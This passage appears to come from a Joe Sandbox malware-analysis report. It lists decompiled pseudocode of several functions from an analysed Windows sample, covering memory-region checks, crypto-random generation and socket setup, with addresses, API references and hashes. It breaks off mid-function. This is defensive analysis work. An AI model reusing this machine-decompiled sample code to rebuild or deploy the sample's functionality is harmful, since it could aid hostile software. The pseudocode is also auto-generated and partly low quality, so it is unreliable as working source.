                                                                                                                                                                                                                                                                                                                                                      Function 0040EE1D Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195nativeCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E0040EE1D(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x415ef0;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x415f38 = 1;
										__eflags =  *0x415f38;
										if( *0x415f38 != 0) {
											goto L60;
										}
										_t84 =  *0x415ef0;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x415f38 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x415ef0 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x415ef8 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x415ef4 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x415f38 = 1;
							__eflags =  *0x415f38;
							if( *0x415f38 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x415f38 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x415ef8 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x415ef0 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x415ef8 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x415ef8 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                                                                                                                                                                                                                                                                                                                                                      0x0040ee27
                                                                                                                                                                                                                                                                                                                                                      0x0040ee2a
                                                                                                                                                                                                                                                                                                                                                      0x0040ee30
                                                                                                                                                                                                                                                                                                                                                      0x0040ee4e
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee4e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee38
                                                                                                                                                                                                                                                                                                                                                      0x0040ee41
                                                                                                                                                                                                                                                                                                                                                      0x0040ee47
                                                                                                                                                                                                                                                                                                                                                      0x0040ee56
                                                                                                                                                                                                                                                                                                                                                      0x0040ee59
                                                                                                                                                                                                                                                                                                                                                      0x0040ee5c
                                                                                                                                                                                                                                                                                                                                                      0x0040ee66
                                                                                                                                                                                                                                                                                                                                                      0x0040ee66
                                                                                                                                                                                                                                                                                                                                                      0x0040ee68
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6b
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee6f
                                                                                                                                                                                                                                                                                                                                                      0x0040ee72
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee74
                                                                                                                                                                                                                                                                                                                                                      0x0040ee76
                                                                                                                                                                                                                                                                                                                                                      0x0040eedc
                                                                                                                                                                                                                                                                                                                                                      0x0040eedc
                                                                                                                                                                                                                                                                                                                                                      0x0040f03a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f03a
                                                                                                                                                                                                                                                                                                                                                      0x0040ee78
                                                                                                                                                                                                                                                                                                                                                      0x0040ee78
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7c
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee7e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee81
                                                                                                                                                                                                                                                                                                                                                      0x0040ee82
                                                                                                                                                                                                                                                                                                                                                      0x0040ee85
                                                                                                                                                                                                                                                                                                                                                      0x0040ee85
                                                                                                                                                                                                                                                                                                                                                      0x0040ee89
                                                                                                                                                                                                                                                                                                                                                      0x0040ee8d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee9b
                                                                                                                                                                                                                                                                                                                                                      0x0040ee9b
                                                                                                                                                                                                                                                                                                                                                      0x0040eea3
                                                                                                                                                                                                                                                                                                                                                      0x0040eea9
                                                                                                                                                                                                                                                                                                                                                      0x0040eeab
                                                                                                                                                                                                                                                                                                                                                      0x0040eead
                                                                                                                                                                                                                                                                                                                                                      0x0040eebd
                                                                                                                                                                                                                                                                                                                                                      0x0040eeca
                                                                                                                                                                                                                                                                                                                                                      0x0040eece
                                                                                                                                                                                                                                                                                                                                                      0x0040eed3
                                                                                                                                                                                                                                                                                                                                                      0x0040eed5
                                                                                                                                                                                                                                                                                                                                                      0x0040ef53
                                                                                                                                                                                                                                                                                                                                                      0x0040ef53
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040eed7
                                                                                                                                                                                                                                                                                                                                                      0x0040ef55
                                                                                                                                                                                                                                                                                                                                                      0x0040ef57
                                                                                                                                                                                                                                                                                                                                                      0x0040f038
                                                                                                                                                                                                                                                                                                                                                      0x0040f038
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef5d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef5d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef64
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef6a
                                                                                                                                                                                                                                                                                                                                                      0x0040ef6e
                                                                                                                                                                                                                                                                                                                                                      0x0040efca
                                                                                                                                                                                                                                                                                                                                                      0x0040efcc
                                                                                                                                                                                                                                                                                                                                                      0x0040efd4
                                                                                                                                                                                                                                                                                                                                                      0x0040efd6
                                                                                                                                                                                                                                                                                                                                                      0x0040efd8
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efda
                                                                                                                                                                                                                                                                                                                                                      0x0040efe0
                                                                                                                                                                                                                                                                                                                                                      0x0040efe2
                                                                                                                                                                                                                                                                                                                                                      0x0040efe4
                                                                                                                                                                                                                                                                                                                                                      0x0040eff9
                                                                                                                                                                                                                                                                                                                                                      0x0040eff9
                                                                                                                                                                                                                                                                                                                                                      0x0040effb
                                                                                                                                                                                                                                                                                                                                                      0x0040f02a
                                                                                                                                                                                                                                                                                                                                                      0x0040f031
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f031
                                                                                                                                                                                                                                                                                                                                                      0x0040efff
                                                                                                                                                                                                                                                                                                                                                      0x0040f000
                                                                                                                                                                                                                                                                                                                                                      0x0040f002
                                                                                                                                                                                                                                                                                                                                                      0x0040f004
                                                                                                                                                                                                                                                                                                                                                      0x0040f004
                                                                                                                                                                                                                                                                                                                                                      0x0040f006
                                                                                                                                                                                                                                                                                                                                                      0x0040f008
                                                                                                                                                                                                                                                                                                                                                      0x0040f00a
                                                                                                                                                                                                                                                                                                                                                      0x0040f01e
                                                                                                                                                                                                                                                                                                                                                      0x0040f01e
                                                                                                                                                                                                                                                                                                                                                      0x0040f021
                                                                                                                                                                                                                                                                                                                                                      0x0040f023
                                                                                                                                                                                                                                                                                                                                                      0x0040f023
                                                                                                                                                                                                                                                                                                                                                      0x0040f024
                                                                                                                                                                                                                                                                                                                                                      0x0040f024
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f015
                                                                                                                                                                                                                                                                                                                                                      0x0040f016
                                                                                                                                                                                                                                                                                                                                                      0x0040f018
                                                                                                                                                                                                                                                                                                                                                      0x0040f01a
                                                                                                                                                                                                                                                                                                                                                      0x0040f01a
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040f00c
                                                                                                                                                                                                                                                                                                                                                      0x0040f00a
                                                                                                                                                                                                                                                                                                                                                      0x0040efe6
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040efef
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eff1
                                                                                                                                                                                                                                                                                                                                                      0x0040eff2
                                                                                                                                                                                                                                                                                                                                                      0x0040eff5
                                                                                                                                                                                                                                                                                                                                                      0x0040eff7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eff7
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efed
                                                                                                                                                                                                                                                                                                                                                      0x0040ef70
                                                                                                                                                                                                                                                                                                                                                      0x0040ef73
                                                                                                                                                                                                                                                                                                                                                      0x0040ef78
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef81
                                                                                                                                                                                                                                                                                                                                                      0x0040ef83
                                                                                                                                                                                                                                                                                                                                                      0x0040ef89
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef8f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef95
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef9b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef9d
                                                                                                                                                                                                                                                                                                                                                      0x0040efa6
                                                                                                                                                                                                                                                                                                                                                      0x0040efaa
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efb0
                                                                                                                                                                                                                                                                                                                                                      0x0040efb3
                                                                                                                                                                                                                                                                                                                                                      0x0040efb5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efbc
                                                                                                                                                                                                                                                                                                                                                      0x0040efbe
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efc0
                                                                                                                                                                                                                                                                                                                                                      0x0040efc4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040efc4
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeaf
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb6
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb8
                                                                                                                                                                                                                                                                                                                                                      0x0040eeb9
                                                                                                                                                                                                                                                                                                                                                      0x0040eebb
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eebb
                                                                                                                                                                                                                                                                                                                                                      0x0040eee3
                                                                                                                                                                                                                                                                                                                                                      0x0040eee5
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eef5
                                                                                                                                                                                                                                                                                                                                                      0x0040eef7
                                                                                                                                                                                                                                                                                                                                                      0x0040eef9
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040eeff
                                                                                                                                                                                                                                                                                                                                                      0x0040ef06
                                                                                                                                                                                                                                                                                                                                                      0x0040ef32
                                                                                                                                                                                                                                                                                                                                                      0x0040ef32
                                                                                                                                                                                                                                                                                                                                                      0x0040ef34
                                                                                                                                                                                                                                                                                                                                                      0x0040ef36
                                                                                                                                                                                                                                                                                                                                                      0x0040ef4a
                                                                                                                                                                                                                                                                                                                                                      0x0040ef4c
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef41
                                                                                                                                                                                                                                                                                                                                                      0x0040ef42
                                                                                                                                                                                                                                                                                                                                                      0x0040ef44
                                                                                                                                                                                                                                                                                                                                                      0x0040ef46
                                                                                                                                                                                                                                                                                                                                                      0x0040ef46
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef38
                                                                                                                                                                                                                                                                                                                                                      0x0040ef08
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef22
                                                                                                                                                                                                                                                                                                                                                      0x0040ef24
                                                                                                                                                                                                                                                                                                                                                      0x0040ef24
                                                                                                                                                                                                                                                                                                                                                      0x0040ef25
                                                                                                                                                                                                                                                                                                                                                      0x0040ef25
                                                                                                                                                                                                                                                                                                                                                      0x0040ef2b
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef0f
                                                                                                                                                                                                                                                                                                                                                      0x0040ef16
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef18
                                                                                                                                                                                                                                                                                                                                                      0x0040ef18
                                                                                                                                                                                                                                                                                                                                                      0x0040ef19
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef19
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1b
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ef30
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef30
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ef1d
                                                                                                                                                                                                                                                                                                                                                      0x0040ee8f
                                                                                                                                                                                                                                                                                                                                                      0x0040ee92
                                                                                                                                                                                                                                                                                                                                                      0x0040ee95
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee97
                                                                                                                                                                                                                                                                                                                                                      0x0040ee99
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040ee99
                                                                                                                                                                                                                                                                                                                                                      0x0040ee5e
                                                                                                                                                                                                                                                                                                                                                      0x0040ee60
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 0040EECE
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: MemoryQueryVirtual
                                                                                                                                                                                                                                                                                                                                                      • String ID: 8_A$8_A$8_A
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2850889275-1072898474
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 035b3a0eab2fda74ec6ddec9c79a0b1f32ec68a73f264a227a2d221ad3741da4
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 57da26439f41a27b6f89feab48204f154193a2fa2f262da57672d5a942e405b8
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 035b3a0eab2fda74ec6ddec9c79a0b1f32ec68a73f264a227a2d221ad3741da4
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2561F631700606DFDB29CF2AC88066A73A5EB85354F24887BE406E76D1E739DD57C68C
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040A760 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 58%
                                                                                                                                                                                                                                                                                                                                                      			E0040A760(void* __ecx, BYTE* _a4, int _a8) {
				char _v8;
				char* _t6;

				_t1 =  &_v8; // 0x406441
				_t6 = _t1;
				__imp__CryptAcquireContextW(_t6, 0, 0, 1, 0xf0000040, __ecx);
				if(_t6 != 0) {
					_t4 =  &_v8; // 0x406441
					CryptGenRandom( *_t4, _a8, _a4);
					_t5 =  &_v8; // 0x406441
					return CryptReleaseContext( *_t5, 0);
				}
				return _t6;
			}





                                                                                                                                                                                                                                                                                                                                                      0x0040a76f
                                                                                                                                                                                                                                                                                                                                                      0x0040a76f
                                                                                                                                                                                                                                                                                                                                                      0x0040a773
                                                                                                                                                                                                                                                                                                                                                      0x0040a77b
                                                                                                                                                                                                                                                                                                                                                      0x0040a785
                                                                                                                                                                                                                                                                                                                                                      0x0040a789
                                                                                                                                                                                                                                                                                                                                                      0x0040a791
                                                                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                                                                      0x0040a795
                                                                                                                                                                                                                                                                                                                                                      0x0040a79e

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • CryptAcquireContextW.ADVAPI32(Ad@,00000000,00000000,00000001,F0000040,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A773
                                                                                                                                                                                                                                                                                                                                                      • CryptGenRandom.ADVAPI32(Ad@,?,00000000,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A789
                                                                                                                                                                                                                                                                                                                                                      • CryptReleaseContext.ADVAPI32(Ad@,00000000,?,?,0040A7B9,Ad@,00000004,?,?,0040A7EE,000000FF), ref: 0040A795
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000000.00000002.308697447.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308694099.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308719028.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000000.00000002.308723352.0000000000413000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_file.jbxd
                                                                                                                                                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Crypt$Context$AcquireRandomRelease
                                                                                                                                                                                                                                                                                                                                                      • String ID: Ad@
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 1815803762-4183085526
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 89528bad6447d7c1c440445485b2c33d4f9dd5ae0edcff583990537681d61b4e
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: eda8b9e6150e8489936fffc678bcc37347e2bbaac9c88bad9fce2d1065103978
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D2E01275650308BBDB14CFD1EC49F9A777CAB48750F108154B70997284DAB5EA408768
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 0040DC60 Relevance: 6.1, APIs: 4, Instructions: 59networkthreadCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 22%
                                                                                                                                                                                                                                                                                                                                                      			E0040DC60(void* __edi) {
				short _v14;
				short _v18;
				intOrPtr _v20;
				short _v22;
				short _v26;
				char _v28;
				void* __ebx;
				void* _t15;
				void* _t24;

				_t27 = __edi;
				_t24 = E004089F0(0x24);
				 *_t24 = 0x756470;
				 *(_t24 + 4) = 1;
				_t15 = CreateEventA(0, 1, 0, 0);
				 *(_t24 + 0x10) = _t15;
				__imp__#23(2, 2, 0x11);
				 *(_t24 + 8) = _t15;
				if(_t15 == 0xffffffff) {
